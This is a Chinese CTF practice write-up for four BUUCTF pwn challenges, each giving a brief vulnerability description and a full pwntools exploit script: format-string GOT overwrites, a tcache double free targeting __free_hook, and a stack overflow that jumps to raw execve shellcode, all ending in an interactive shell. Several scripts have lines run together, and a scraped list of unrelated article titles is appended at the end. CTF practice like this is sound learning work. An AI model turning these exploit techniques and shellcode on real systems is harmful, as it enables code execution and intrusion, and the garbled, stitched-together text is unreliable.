PWN-PRACTICE-BUUCTF-21

  • wdb_2018_2nd_easyfmt
  • ciscn_2019_es_1
  • axb_2019_fmt64
  • x_ctf_b0verfl0w

wdb_2018_2nd_easyfmt

格式化字符串漏洞
第一次printf通过printf_got将printf的实际地址打印出来,计算libc基地址,得到system的实际地址
第二次printf通过printf_got将printf的实际地址改写为system的实际地址,这样之后的printf实际上是执行的system
第三次输入"/bin/sh\x00",即会执行system("/bin/sh\x00")

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level='debug'
#io=process('./wdb_2018_2nd_easyfmt')
io=remote('node4.buuoj.cn',27039)
elf=ELF('./wdb_2018_2nd_easyfmt')
libc=ELF('./libc-2.23-16-x32.so')
printf_got=elf.got["printf"]
payload=p32(printf_got)+"%6$s"
io.sendlineafter("repeater?\n",payload)
printf_addr=u32(io.recvuntil('\xf7')[-4:])
print("printf_addr=="+hex(printf_addr))
libc_base=printf_addr-libc.symbols["printf"]
system_addr=libc_base+libc.symbols['system']
print("system_addr=="+hex(system_addr))
payload=fmtstr_payload(6,{printf_got:system_addr})
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

ciscn_2019_es_1

tcache
参考:ciscn_2019_es_1

# -*- coding:utf-8 -*-
from pwn import *
#io=process("./ciscn_2019_es_1")
io=remote("node4.buuoj.cn",28810)
elf=ELF("./ciscn_2019_es_1")
libc=ELF("./libc-2.27-18-x64.so")def add(name_size,name,com_call):io.sendlineafter("choice:","1")io.sendlineafter("the size of compary's name\n",str(name_size))io.sendlineafter("input name:\n",name)io.sendlineafter("input compary call:\n",com_call)
def show(index):io.sendlineafter("choice:","2")io.sendlineafter("input the index:\n",str(index))
def free(index):io.sendlineafter("choice:","3")io.sendlineafter("input the index:",str(index))
def exit():io.sendlineafter("choice:","4")#gdb.attach(io)
#pause()add(0x410,"aaaa","130")#0
add(0x28,"bbbb","131")#1
add(0x68,"/bin/sh\x00","132")#2#pause()free(0)#pause()show(0)
libc_base=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-96-0x10-libc.sym["__malloc_hook"]
free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]#pause()free(1)#pause()free(1)#pause()add(0x28,p64(free_hook),"133")#3#pause()add(0x28,"dddd","134")#4#pause()add(0x28,p64(system),"135")#5#pause()free(2)#pause()io.interactive()

axb_2019_fmt64

格式化字符串漏洞,参考:[BUUCTF]PWN——axb_2019_fmt64(64位格式化字符串改got表)

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./axb_2019_fmt64")
io=remote("node4.buuoj.cn",26526)
elf=ELF("./axb_2019_fmt64")
libc=ELF("./libc-2.23-16-x64.so")
strlen_got=elf.got["strlen"]io.recvuntil("Please tell me:")
payload="%9$saaaa"+p64(strlen_got)
io.sendline(payload)
strlen_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("strlen_addr=="+hex(strlen_addr))
libc_base=strlen_addr-libc.sym["strlen"]
system=libc_base+libc.sym["system"]
print("system=="+hex(system))
high_sys=(system>>16)&0xff
low_sys=system&0xffffio.recvuntil("Please tell me:")
payload="%"+str(high_sys-9)+"c%12$hhn"
payload+="%"+str(low_sys-high_sys)+"c%13$hn"
#print(len(payload))#25
payload=payload.ljust(32,"a")
print(len(payload))#32
payload+=p64(strlen_got+2)+p64(strlen_got)#12 13
io.sendline(payload)io.recvuntil("Please tell me:")
io.sendline(";/bin/sh\x00")
io.sendline("cat flag")io.interactive()

x_ctf_b0verfl0w

32位elf,NX disabled,堆栈可执行
栈溢出,通过移动栈顶指针esp,实现ret2shellcode

# -*- coding:utf-8 -*-
from pwn import *
#context.log_level='debug'
#io=process('./x_ctf_b0verfl0w')
io=remote('node4.buuoj.cn',27191)
elf=ELF('./x_ctf_b0verfl0w')
jmp_esp=0x08048504
shellcode="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload=shellcode.ljust(0x24,'a')
payload+=p32(jmp_esp)
payload+=asm('sub esp, 0x28;jmp esp')
io.recvuntil('name?\n')
io.sendline(payload)
io.interactive()

PWN-PRACTICE-BUUCTF-21相关推荐

  1. Deep Residual Learning for Image Recognition(ResNet)论文翻译及学习笔记

    [论文翻译]:Deep Residual Learning for Image Recognition [论文来源]:Deep Residual Learning for Image Recognit ...

  2. 图像分类经典卷积神经网络—ResNet论文翻译(中英文对照版)—Deep Residual Learning for Image Recognition(深度残差学习的图像识别)

    图像分类经典论文翻译汇总:[翻译汇总] 翻译pdf文件下载:[下载地址] 此版为中英文对照版,纯中文版请稳步:[ResNet纯中文版] Deep Residual Learning for Image ...

  3. Comparable的compareTo

    我们可以对Set集合中的元素进行排序.使用的是二叉树结构.如何保证元素唯一性的呢?使用的对象比较方法的结果是否为0,是0,视为相同元素不存.元素自身具备自然排序,其实就是实现了Comparable接口 ...

  4. 论文阅读-VERY DEEP CONVOLUTIONAL NETWORKS FOR LARGE-SCALE IMAGE RECOGNITION

    作者: Karen Simonyan et al. 日期: 2015 类型: conference article 来源: ICLR 评价: veyr deep networks 论文链接: http ...

  5. 深度学习论文阅读图像分类篇(五):ResNet《Deep Residual Learning for Image Recognition》

    深度学习论文阅读图像分类篇(五):ResNet<Deep Residual Learning for Image Recognition> Abstract 摘要 1. Introduct ...

  6. 【论文翻译】Deep Residual Learning for Image Recognition

    [论文翻译]Deep Residual Learning for Image Recognition [论文题目]Deep Residual Learning for Image Recognitio ...

  7. ResNet论文翻译——中英文对照+标注总结

    Deep Residual Learning for Image Recognition 文章目录 Deep Residual Learning for Image Recognition Abstr ...

  8. 论文翻译[Deep Residual Learning for Image Recognition]

    论文来源:Deep Residual Learning for Image Recognition [翻译人]:BDML@CQUT实验室 Deep Residual Learning for Imag ...

  9. ResNet论文翻译——中英文对照

    文章作者:Tyan 博客:noahsnail.com  |  CSDN  |  简书 声明:作者翻译论文仅为学习,如有侵权请联系作者删除博文,谢谢! 翻译论文汇总:https://github.com ...

  10. IT类英文电子书存档页面

    为什么80%的码农都做不了架构师?>>>    http://www.salttiger.com/archives/ 目前我主要在以下两个网站收集编程类的电子书,在这上面找不到的书, ...

最新文章

  1. JPQL中使用LIKE进行模糊查询
  2. 中山大学 精品课程C++ 视频教学 共51讲
  3. 程序详细设计之代码编写规范_我在不编写任何代码的情况下建立了一个设计策划网站
  4. python进程池_python进程池剖析(一)
  5. firfox post plugin test
  6. python set类型
  7. Exceed 13+Gambit 2.4.6 +Tgrid 安装
  8. 逻辑学中的思维规律:同一律,不矛盾律,排中律,充足理由律
  9. 【高等数学】平面束方程的俩种设法与其中一种设法会出现的漏解问题
  10. python暴力破解压缩密码?
  11. HCL配置不同VLAN之间进行通讯实验
  12. 中国科学报:吴文俊的数字之舞
  13. 改图片分辨率怎么改?教你一招一分钟修改图片dpi
  14. python中while true输入正数_python入门学习------while和输入内容
  15. 常微分方程-差分方程
  16. edi mysql_EDI:_数据库基础(mysql)答案_学小易找答案
  17. 三个步骤 让你学会看懂考研数学课本
  18. C++常用数据结构总结
  19. m.soudashi.cn 地图_网站百度排名推广的基本操作是什么
  20. 下载Chrome扩展离线皮肤包crx文件方法

热门文章

  1. 黑客们的故事(连载三) 因为好奇
  2. 转:Oracle 中union的用法
  3. Unity Scene为每一个游戏物体进行扩展编辑
  4. 安装用户debian7安装oracle11g
  5. C51存储器类型与51单片机的物理区域
  6. [Leetcode][第116 117题][JAVA][填充每个节点的下一个右侧节点指针][BFS][链表前驱节点]
  7. 单片机的单个IO口可以发送数据吗_关于51单片机各个引脚它的功能你了解多少?...
  8. php上传文件损坏,PHP 上传文件故障排除
  9. Android数据库 分页查询,Android之怎么使用SQLite数据库(增、删、改、查、分页等)以及ListView显示数据(转)...
  10. 987C. Three displays